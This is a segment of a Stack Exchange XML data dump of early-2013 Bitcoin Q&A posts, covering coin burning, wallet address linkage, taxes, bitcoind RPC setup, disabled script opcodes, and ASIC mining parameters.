  <row Id="7440" PostTypeId="2" ParentId="1265" CreationDate="2013-02-03T06:07:56.353" Score="0" Body="&lt;p&gt;I would also like to add, that future bitchains will award less bitcoins, and technology advances will require greater investments from miners, hence requiring at least at some point in aggregate, a recoup of these investments and hence exchange of bitcoins. If the bitcoins can be exchanged for upgraded hardware, all the better.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will also be interesting to see how bitcoins can be balanced between spent and saved by individuals.  Sure the US dollar can be saved, but due to inflation it is better to spend it.  Gold is better to save, because of inflation, be its hard to spend.  It will be interesting to see if and how CombiBars can be used to promote gold to a spend format, and perhaps this is necessary, because if bitcoin was really to take off as a widely and world wide accepted format, perhaps gold will again become a barbaric relic.  &lt;/p&gt;&#xA;" OwnerUserId="2807" LastActivityDate="2013-02-03T06:07:56.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7441" PostTypeId="1" CreationDate="2013-02-03T07:45:45.243" Score="5" ViewCount="2529" Body="&lt;p&gt;Several interesting applications of bitcoins involve a scenario where they are &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3228/why-destroy-bitcoins&quot;&gt;intentionally &quot;destroyed&quot;&lt;/a&gt;.  Is there an open source tool that can be used to destroy bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if so, is it possible to programmatically verify (via the same tool or another) that the bitcoins have indeed been destroyed?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-10-30T15:11:46.070" Title="Is there an open source tool to publicly destroy bitcoins?" Tags="|transactions|destroy-bitcoins|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7443" PostTypeId="2" ParentId="7441" CreationDate="2013-02-03T11:01:45.420" Score="10" Body="&lt;p&gt;The most secure way to destroy bitcoins is to send them to a script that can never return true, and which includes the reference code that confirms the goal of destroying these coins. I don't know of readily available software tools that can do that, and I'm not sure the network will accept these transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a simple method everyone can try at home: Take the reference code, apply RIPEMD-160 and encode it as an address. Do a transaction which sends a satoshi to this address, and the the coins-to-destroy to 1BitcoinEaterAddressDontSendf59kuE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To demonstrate my point, here is me destroying 1 mBTC - &lt;a href=&quot;http://blockchain.info/tx/f374fb91ea29b02d295d535da537c7770caa71c4937095c51467b4d8b1b60c1b&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blockchain.info/tx/f374fb91ea29b02d295d535da537c7770caa71c4937095c51467b4d8b1b60c1b&lt;/a&gt;. Address is hash of &lt;a href=&quot;https://bitcoin.stackexchange.com/a/7443/575&quot;&gt;https://bitcoin.stackexchange.com/a/7443/575&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Signing a message with the address used to send can also be employed as extra verification.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-02-03T19:07:02.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7444" PostTypeId="2" ParentId="7441" CreationDate="2013-02-03T14:06:33.860" Score="1" Body="&lt;p&gt;Why destroy the coins? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=75933.0&quot; rel=&quot;nofollow&quot;&gt;This post at bitcointalk.org&lt;/a&gt; discusses using Bitcoin for email micropostage, in a similar way to &lt;a href=&quot;http://www.hashcash.org/&quot; rel=&quot;nofollow&quot;&gt;Hashcash&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1611" LastActivityDate="2013-02-03T14:06:33.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7447" PostTypeId="1" AcceptedAnswerId="7450" CreationDate="2013-02-04T01:25:06.573" Score="18" ViewCount="19587" Body="&lt;p&gt;I'm wondering, if I sent some bitcoins from one of my own addresses to another address in my wallet, will it be possible for someone to figure out that both addresses are in the same wallet? Or can I claim the other address is not my own and no one can find out?&lt;/p&gt;&#xA;" OwnerUserId="74" LastEditorUserId="5406" LastEditDate="2015-06-21T15:49:28.623" LastActivityDate="2022-10-03T18:07:26.630" Title="Is it possible to figure out whether two addresses are in the same wallet?" Tags="|wallet|address|traceability|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7448" PostTypeId="2" ParentId="7447" CreationDate="2013-02-04T03:53:41.377" Score="3" Body="&lt;p&gt;It depends.  Bitcoin is traceable but pseudonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there would be a path from your first address to your second address.  There's no way to prove that the second address is in your wallet at that point.  But when you spend from that second address, any party that knows the second address is yours would know that the second address came from funds from the first address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, simply moving funds from one address to another address is not an effective measure for protecting your privacy regarding your financial transactions.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-04T03:53:41.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7449" PostTypeId="2" ParentId="7447" CreationDate="2013-02-04T05:18:19.110" Score="8" Body="&lt;p&gt;No, it is not possible to determine &lt;em&gt;definitively&lt;/em&gt; if two addresses are in the same wallet. The protocol does not have the concept of the wallet. The wallet is a concept within the client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is to say, that the client presents the concept of a wallet as a collection of addresses. The only relation between addresses that the protocol knows about is senders and receivers, or, really, inputs and outputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be possible through a thorough analysis of taint to determine within a reasonable amount of certainty that several addresses are related to each other in a wallet.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2013-02-04T12:22:19.247" LastActivityDate="2013-02-04T12:22:19.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7450" PostTypeId="2" ParentId="7447" CreationDate="2013-02-04T06:05:13.503" Score="15" Body="&lt;p&gt;It is possible to tell that two addresses are in the same wallet if they both appear as an input of a transaction. This indicates that one person owns both of them as they can spend both of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also quite likely that when you are sending a transaction that has one neat input (say, 1BTC), and one not so neat (say, 0.59721364BTC), that the latter is most likely a change left over from a transaction you sent to someone and is being sent to another address you own from the same wallet. This claim could be possibly deniable, but should be true in most cases.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-04T06:05:13.503" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7451" PostTypeId="1" CreationDate="2013-02-04T16:02:18.397" Score="6" ViewCount="338" Body="&lt;p&gt;Should earnings in Bitcoin converter to a traditional currency be treated as trading income or non-trading income for tax purposes (for example, in &lt;a href=&quot;http://en.wikipedia.org/wiki/Corporation_tax_in_the_Republic_of_Ireland#Tax_rates&quot; rel=&quot;nofollow&quot;&gt;Ireland&lt;/a&gt;)? Reason for them being considered trading income is that the Bitcoins need to be sold at an exchange like a commodity. On the other hand, a business gains Bitcoin not necessarily through trading them for goods (say, SatoshiDice), so the other option appears viable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which approach should be taken into consideration when figuring out taxes?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="196" LastEditDate="2013-02-05T22:56:33.537" LastActivityDate="2014-03-25T20:34:14.917" Title="Should earnings in Bitcoin converter to a traditional currency be treated as trading-income or non-trading income for tax purposes?" Tags="|trading|legal|taxes|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7453" PostTypeId="2" ParentId="1161" CreationDate="2013-02-04T19:01:33.817" Score="1" Body="&lt;p&gt;If a transaction has been unconfirmed for three days, clients will delete it. This generally happens when you force a zero transaction fee. &lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-02-04T19:01:33.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7454" PostTypeId="2" ParentId="7415" CreationDate="2013-02-04T19:10:30.337" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://pricedingold.com/charts/BTC-2010.pdf&quot; rel=&quot;nofollow&quot;&gt;http://pricedingold.com/charts/BTC-2010.pdf&lt;/a&gt; This is a comparision chart for btc vs. miligrams of gold i guess you could reverse it against history of silver or some other commodities. You can get the complete article here &lt;a href=&quot;http://pricedingold.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://pricedingold.com/bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2818" LastActivityDate="2013-02-04T19:10:30.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7455" PostTypeId="1" CreationDate="2013-02-04T20:56:36.610" Score="12" ViewCount="5094" Body="&lt;p&gt;I want to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one small server PC at home. I want to install bitcoind on that machine to download the blockchain information. Then I want this machine to accept RPC calls from my LAN network and setup all other bitcoin clients on my LAN network to use that server machine for blockchain info and transaction broadcasting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already setup a bitcoind client on the server with the following bitcoin.conf values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=MyRPCUser&#xA;rpcpassword=MyRPCPassword&#xA;rpcallowip=192.168.0.*&#xA;rpcssl=1&#xA;rpcsslciphers=TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:@STRENGTH&#xA;rpcsslcertificatechainfile=server.cert&#xA;rpcsslprivatekeyfile=server.pem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I did follow the instruction for creating a SSL certificate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do on the client machines? I tried &lt;code&gt;bitcoin-qt -rpcconnect=[server-ip]&lt;/code&gt; but it seemed to just start regularly continuing to download the blockchain from where it stopped last time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, is it possible to let Bitcoin Armory also use a bitcoin client via RPC instead of the one of the same machine? Or does it really require a &lt;code&gt;remote bitcoind &amp;lt;-&amp;gt; local bitcoin client &amp;lt;-&amp;gt; armory&lt;/code&gt; setup?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-02-06T01:31:20.157" LastActivityDate="2013-02-06T03:28:38.773" Title="How to setup a LAN network with only one bitcoind client downloading the blockchain?" Tags="|bitcoind|json-rpc|armory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7456" PostTypeId="2" ParentId="7455" CreationDate="2013-02-04T21:07:47.333" Score="5" Body="&lt;p&gt;You need to use &lt;code&gt;connect&lt;/code&gt; in your configuration file, &lt;code&gt;rpc_connect&lt;/code&gt; is something different, it means that your client delegates its commands to another bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one client connects normally and other clients connect to it using &lt;code&gt;connect = ip.of.main.client&lt;/code&gt; it will work the way you want it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conversely you can prevent a node from connecting to anything by using &lt;code&gt;connect = 0.0.0.0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT :&lt;/strong&gt; I understand better now. You need to use &lt;code&gt;rpc_connect = ip.of.master.bitcoind&lt;/code&gt; on the 'slave' node, and &lt;code&gt;connect = 0.0.0.0&lt;/code&gt; to prevent it from loading the blockchain and you should be all set.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastEditorUserId="2593" LastEditDate="2013-02-05T22:27:25.243" LastActivityDate="2013-02-05T22:27:25.243" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7457" PostTypeId="1" AcceptedAnswerId="7458" CreationDate="2013-02-04T21:14:20.193" Score="4" ViewCount="1557" Body="&lt;p&gt;I'm considering working on a bitcoin project that will need to generate wallet files.  I'm not looking to create receipt addresses that a customer can send funds to for an existing wallet.  Instead, I need to generate numerous wallet files, each with preferably only 1 payment address, that can be distributed across multiple locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this easily be done from a daemon command or with an existing API?  If there is an API for this, any language is fine, though I would prefer Python.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2021-06-02T01:44:14.307" Title="How can I generate wallet files for multibit or armory?" Tags="|wallet|wallet.dat|multibit|armory|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7458" PostTypeId="2" ParentId="7457" CreationDate="2013-02-04T22:49:24.567" Score="5" Body="&lt;p&gt;For MultiBit you could use the command line utility called WalletTool that Mike Hearn wrote. You can use it to create bitcoinj wallets (which is what MultiBit uses). &#xA;There is a description of it here:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=43616.msg1451177#msg1451177&quot;&gt;https://bitcointalk.org/index.php?topic=43616.msg1451177#msg1451177&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could wrap calls to it in your favourite scripting tool fairly easily I imagine. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-02-04T22:49:24.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7465" PostTypeId="2" ParentId="2387" CreationDate="2013-02-05T13:03:27.267" Score="1" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also thought your way but under the false assumption that Instawallet maintains many small wallets unless you ask them to pipe your money through a green address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Bitcoin Spinner only, each trading partner will see exactly when you send and receive bitcoins as you will have one address only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the Satoshi client, your trading partner can guesstimate which addresses belong to your wallet. If one output is worth some round $$ value, the other output is the return address. If there are several inputs, these also belong to your wallet (true for 99.9999% of all transactions), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Instawallet with green addresses, a trading partner will not know much about your wallet but may ask at Instawallet to find the input to do the Satoshi client analysis once he has this info + he might get your IP address (ok, you use tor, but for other readers this point is relevant).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Instawallet without green address, a trading partner might find evidence that links your transaction to Instawallet but again he would have to ask Instawallet to find out details as your charging address is not what you pay from later. Instawallet uses old coins to pay, so when you receive coins and send them on, this is not done from the same address, regardless of your choice to use a green or not green address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not worried about subpoena, hosted wallets without registration like Instawallet provide more privacy than your own wallet as they are much busier and don't connect inputs from one person with the outputs of the same person. This connection is the book-keeping done on the hosted wallet in privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DISCLAIMER: Never ever trust a hosted wallet that has your private keys with your money. They will run with your money or get hacked.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2825" LastActivityDate="2013-02-05T13:03:27.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7466" PostTypeId="1" AcceptedAnswerId="7467" CreationDate="2013-02-05T15:27:44.433" Score="5" ViewCount="525" Body="&lt;p&gt;I am interested in generating a bitcoin address with the shortest possible FirstBits. By random trial and error I found that &lt;code&gt;1ijj1&lt;/code&gt; is untaken. Is there a way to find the shortest possible untaken FirstBits? (So I can generate it using vanitygen)&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="196" LastEditDate="2013-02-05T16:06:28.710" LastActivityDate="2013-02-05T16:29:11.547" Title="How to find the shortest unused FirstBits?" Tags="|vanity-address|firstbits|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7467" PostTypeId="2" ParentId="7466" CreationDate="2013-02-05T16:29:11.547" Score="1" Body="&lt;p&gt;Yes there is a solution, it is brute-force. Make a loop and add variable characters, test them one by one. Start with one variable characters, try all combinations, add another variable character, try all combinations, rinse, repeat until you find unused firstbits.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-02-05T16:29:11.547" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7468" PostTypeId="2" ParentId="7457" CreationDate="2013-02-05T17:27:47.750" Score="3" Body="&lt;p&gt;You can try this utility called &lt;a href=&quot;https://github.com/jackjack-jj/pywallet/blob/master/pywallet.py&quot; rel=&quot;nofollow&quot;&gt;pywallet&lt;/a&gt;. You don't need to run pywallet from the command line though - just put it in the same directory, do &lt;code&gt;import pywallet&lt;/code&gt;, and you can use any of the functions in there. You should try running it from the command line first though, because it'll show you any missing dependencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Functions you might find interesting: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jackjack-jj/pywallet/blob/master/pywallet.py#L1087&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;create_new_wallet&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jackjack-jj/pywallet/blob/master/pywallet.py#L673&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;KEY.generate&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jackjack-jj/pywallet/blob/master/pywallet.py#L1013&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;update_wallet&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-05T17:27:47.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7469" PostTypeId="2" ParentId="7451" CreationDate="2013-02-05T22:25:18.097" Score="5" Body="&lt;p&gt;You might not like this answer but the correct approach for figuring out taxes related to Bitcoin earnings is to ask the question to your local tax authority, in written form and get an answer that your local tax administration legally commits to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can speak only for France, but I assume the same kind of thing is possible anywhere. In France you can ask for a &quot;rescrit&quot; it is a written answer from the FISC (our tax authority). Once they gave you an answer they are legally obliged to stand by it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no other correct way to account for your Bitcoin taxes than asking the people that actually can give you a definitive and legally binding answer.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-02-05T22:25:18.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7470" PostTypeId="1" AcceptedAnswerId="7483" CreationDate="2013-02-05T22:55:20.430" Score="2" ViewCount="105" Body="&lt;p&gt;Is there any AML regulation in EU countries which might have to be applied to unofficial currencies, such as Bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess usually they only apply to state-backed currencies, but since Bitcoins can be easily exchanged for EUR, there might be some (poorly written?) law which might extend to any site allowing users to trade it, and not only to the exchanges (as it would be logic to do, instead).&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="37414" LastEditDate="2018-05-10T16:55:23.017" LastActivityDate="2018-05-10T16:55:23.017" Title="Might AML regulations have to be applied to unofficial currencies sites in EU?" Tags="|legal|money-laundering|aml|financial-regulations|europe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7471" PostTypeId="2" ParentId="7455" CreationDate="2013-02-05T23:25:44.340" Score="1" Body="&lt;p&gt;&lt;code&gt;rpcconnect&lt;/code&gt; only changes where RPC commands are sent. So, for example, &lt;code&gt;bitcoind getbalance&lt;/code&gt; would be sent to the IP address you specified, but nothing in the GUI generates an RPC call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/bitcoinrpc.cpp#L1253&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; is the only place the &lt;code&gt;CallRPC&lt;/code&gt; function is referenced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that you want to keep the private keys for spending the bitcoins on the personal computers. In that case, the best approach would probably be to install the electrum server on one computer, and the electrum client on another. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, only saw the part about bitcoin-qt, and I thought that was what you were running. So, the armory client &lt;em&gt;does&lt;/em&gt; talk to the bitcoin client, but the address it uses is hard-coded. (Fortunately, it's only hardcoded in the python files.) Also, the protocol it's speaking is not RPC, but the bitcoin protocol itself.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-02-06T03:28:38.773" LastActivityDate="2013-02-06T03:28:38.773" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7472" PostTypeId="2" ParentId="5884" CreationDate="2013-02-06T01:08:17.997" Score="2" Body="&lt;h1&gt;Short version&lt;/h1&gt;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&lt;h1&gt;Long version&lt;/h1&gt;&#xA;&lt;h2&gt;Bitcoin&lt;/h2&gt;&#xA;&lt;p&gt;The bitcoin implementation of banned opcodes is in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script.cpp#L349&quot; rel=&quot;nofollow noreferrer&quot;&gt;script.cpp&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        if (opcode == OP_CAT ||&#xA;            opcode == OP_SUBSTR ||&#xA;            opcode == OP_LEFT ||&#xA;            opcode == OP_RIGHT ||&#xA;            opcode == OP_INVERT ||&#xA;            opcode == OP_AND ||&#xA;            opcode == OP_OR ||&#xA;            opcode == OP_XOR ||&#xA;            opcode == OP_2MUL ||&#xA;            opcode == OP_2DIV ||&#xA;            opcode == OP_MUL ||&#xA;            opcode == OP_DIV ||&#xA;            opcode == OP_MOD ||&#xA;            opcode == OP_LSHIFT ||&#xA;            opcode == OP_RSHIFT)&#xA;            return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that this is not a complete list - OP_NOTEQUAL is also disabled. This code struck me oddly because it appears to create a fork with transactions that use OP_NOTEQUAL. (Perhaps it wasn't being used.)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                // OP_NOTEQUAL is disabled because it would be too easy to say&#xA;                // something like n != 1 and have some wiseguy pass in 1 with extra&#xA;                // zero bytes after it (numerically, 0x01 == 0x0001 == 0x000001)&#xA;                //if (opcode == OP_NOTEQUAL)&#xA;                //    fEqual = !fEqual;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script.cpp#L781&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Namecoin&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/vinced/namecoin/blob/master/src/script.cpp#L102&quot; rel=&quot;nofollow noreferrer&quot;&gt;Same.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;LiteCoin&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/litecoin-project/litecoin/blob/master/src/script.cpp#L271&quot; rel=&quot;nofollow noreferrer&quot;&gt;Same.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;SolidCoin&lt;/h2&gt;&#xA;&lt;p&gt;You didn't ask about it, but it's also the &lt;a href=&quot;https://github.com/solidcoin/solidcoin/blob/master/src/script.cpp#L101&quot; rel=&quot;nofollow noreferrer&quot;&gt;same.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-02-07T05:56:52.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7473" PostTypeId="1" AcceptedAnswerId="7474" CreationDate="2013-02-06T02:51:07.237" Score="6" ViewCount="851" Body="&lt;p&gt;I've been reading around: &lt;a href=&quot;https://en.bitcoin.it/wiki/How_bitcoin_works&quot;&gt;https://en.bitcoin.it/wiki/How_bitcoin_works&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What prevents a miner's block from being accepted across the network if the hash checks out when miner forges transactions in the block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, lets say I'm mining and I want to steal money from address A and put it into my address B. So I build a block with the A-&gt;B transaction along with some requested transactions. Now if I can compute a hash for the block before anyone else, and send off to peers in the network, how could they reject it? How would they know that's not a real transaction? If bitcoin clients record requests to verify, maybe this request was blocked by some NAT issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't think of a good way of fixing this and I didn't find anything about in documentation. Any insight would be appreciated. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2829" LastEditorUserId="18196" LastEditDate="2016-03-18T20:02:00.797" LastActivityDate="2022-02-05T06:11:47.653" Title="Could miners steal money?" Tags="|security|mining-theory|attack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7474" PostTypeId="2" ParentId="7473" CreationDate="2013-02-06T03:01:41.443" Score="8" Body="&lt;p&gt;Transactions are signed with ECDSA. Incidentally, bitcoin addresses are hashes of the ECDSA public key that can spend them. You can't spend somebody else's coins unless you 1) do a bruteforce search to find their private key or 2) find a public key that hashes out to the same thing. Both are much, much harder than doing a double spend attack.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-06T03:01:41.443" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7475" PostTypeId="5" CreationDate="2013-02-06T03:17:34.997" Score="0" Body="&lt;p&gt;Litecoin is an alternative cryptocurrency  based on Bitcoin. The key differences to Litecoin are that it's blocks are four times faster than Bitcoin's on average with a targeted average time of 2.5 minutes between blocks and Litecoin uses a different Proof of Work algorithm, scrypt. Scrypt was chosen as it was considered to be ASIC resistant, but this has been shown to be false as ASICs for scrypt coin mining now exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin's development follows Bitcoin's fairly closely. The full node software of Litecoin, Litecoin Core, is frequently rebased onto Bitcoin Core thus keeping up with the changes that are made to Bitcoin Core.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="48884" LastEditDate="2017-10-20T02:48:28.660" LastActivityDate="2017-10-20T02:48:28.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7476" PostTypeId="4" CreationDate="2013-02-06T03:17:34.997" Score="0" Body="OFF-Topic: Questions about Litecoin are generally off-topic unless they are applicable to Bitcoin.&#xD;&#xA;&#xD;&#xA;Litecoin is a cryptocurrency based on Bitcoin. Litecoin is very similar to Bitcoin with a few distinguishing differences: blocks that are mined every 2.5 minutes on average and the scrypt hashing algorithm for its Proof of Work algorithm." OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2023-11-27T18:16:19.807" LastActivityDate="2023-11-27T18:16:19.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7477" PostTypeId="1" CreationDate="2013-02-06T04:12:58.770" Score="11" ViewCount="1120" Body="&lt;p&gt;Is Bitcoin Days Destroyed a measure of hoarding? Also, is it possible to derive  velocity of money (i.e. bitcoin) from Bitcoin Days Destroyed?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="15412" LastEditDate="2014-06-19T19:43:31.787" LastActivityDate="2014-06-19T19:43:31.787" Title="Is Bitcoin Days Destroyed a measure of hoarding?" Tags="|economic-theory|bitcoin-days-destroyed|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7478" PostTypeId="1" CreationDate="2013-02-06T05:31:10.133" Score="1" ViewCount="396" Body="&lt;p&gt;When ASIC mining devices ship, what parameters of mining become hardcoded? How would these ASIC mining devices respond to any changes to mining procedure / algorithms?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="5406" LastEditDate="2016-04-01T09:26:46.940" LastActivityDate="2016-04-01T09:26:46.940" Title="What mining parameters are not modifiable with ASIC miners?" Tags="|asic|mining-hardware|mining-technical-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7480" PostTypeId="2" ParentId="7478" CreationDate="2013-02-06T07:10:42.257" Score="3" Body="&lt;p&gt;Very little of transaction validation logic is done in the ASIC. All that they do is take a &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;block header&lt;/a&gt;, rapidly increment the nonce, and see if the hash that pops out is anywhere close to the target. So, as long as the block header doesn't change, none of the ASICs need to change.&lt;/p&gt;&#xA;&lt;h3&gt;Nonce&lt;/h3&gt;&#xA;&lt;p&gt;The 4-byte nonce field might need to change in the near future, because you can only have 4 billion distinct hashes every second. That might seem like a lot, but with ASICs getting 100Ghash/s, it gets a bit awkward. One way around it is to make 25 different coinbase transactions, thus getting you 25 different block headers. You then give each twenty-fifth of the ASIC a different block header. Despite all this, lengthening the nonce field is probably more trouble than it's worth, given that it would require a hard fork.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-02-06T07:27:33.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
